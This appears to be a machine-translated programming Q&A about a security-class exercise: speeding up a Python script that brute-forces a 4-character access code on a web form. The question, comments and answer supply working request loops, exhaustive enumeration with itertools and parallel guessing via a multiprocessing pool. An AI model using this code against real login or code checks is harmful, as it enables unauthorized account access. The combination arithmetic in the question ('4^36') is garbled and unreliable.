2015-11-14 116 views
0

因此,问题在于,我们的安全教师创建了一个需要认证的站点,然后请求代码(4个字符),以便您可以访问文件。他告诉我们用Python(我们想要的任何库)编写一个可以找到密码的暴力程序。所以要做到这一点,我首先要制作一个程序,可以在该代码字段上尝试随机组合,以便了解每个请求的时间(我正在使用请求库),结果是让每个请求失去意愿需要大约8秒。 通过一些计算:4^36 = 13 436 928可能的组合,将使我的节目在155.52天左右。 如果有人能帮助我更快地做到这一点,那我真的很感激。 (他告诉我们,有可能使周围每秒1200个组合)python中的缓慢蛮力程序

这里是我的代码:

import requests 
import time 
import random 

def gen(): 
    alphabet = "abcdefghijklmnopqrstuvwxyz" 
    pw_length = 4 
    mypw = "" 

    for i in range(pw_length): 
     next_index = random.randrange(len(alphabet)) 
     mypw = mypw + alphabet[next_index] 

    return mypw 

t0 = time.clock() 
t1 = time.time() 

cookie = {'ig': 'b0b5294376ef12a219147211fc33d7bb'} 

for i in range(0,5): 
    t2 = time.clock() 
    t3 = time.time() 
    values = {'RECALL':gen()} 
    r = requests.post('http://www.example.com/verif.php', stream=True, cookies=cookie, data=values) 
    print("##################################") 
    print("cpu time for req ",i,":", time.clock()-t2) 
    print("wall time for req ",i,":", time.time()-t3) 

print("##################################") 
print("##################################") 
print("Total cpu time:", time.clock()-t0) 
print("Total wall time:", time.time()-t1) 

谢谢

+0

当您使用['Session()'对象](http://docs.python-requests.org/en/latest/user/advanced/#session-objects)和从而让'请求'重新使用TCP连接? –

+0

并且不要使用随机密码;使用'itertools.product(alphabet,repeat = 4)'生成所有组合(使用'''.join(combo)'将4个字符重新连接成一个字符串)。 –

+0

谢谢,我将修改该密码生成方法。你能解释一点吗? –

回答

1

你可以尝试的就是用一个Pool of workers做多并行请求将密码传递给每个工作人员。例如:

import itertools 
from multiprocessing import Pool 

def pass_generator(): 
    for pass_tuple in itertools.product(alphabet, repeat=4): 
     yield ''.join(pass_tuple) 

def check_password(password): 
    values = {'RECALL': password} 
    r = requests.post('http://www.example.com/verif.php', stream=True, cookies=cookie, data=values) 
    # Check response here. 

pool = Pool(processes=NUMBER_OF_PROCESSES) 
pool.map(check_password, pass_generator()) 
+0

谢谢你的想法,但是有没有最佳数量的过程? –

+0

您应该试验一下,从2倍的核心数量开始,因为这是I/O限制,您应该更高一些,但是在某些情况下您会遇到性能问题。 – tabac

+0

我有i5处理器,所以它是4个内核。所以我应该从8个流程中走出来?如果我使用8个进程,并且请求需要8个左右的时间,但仍然需要很长时间。 –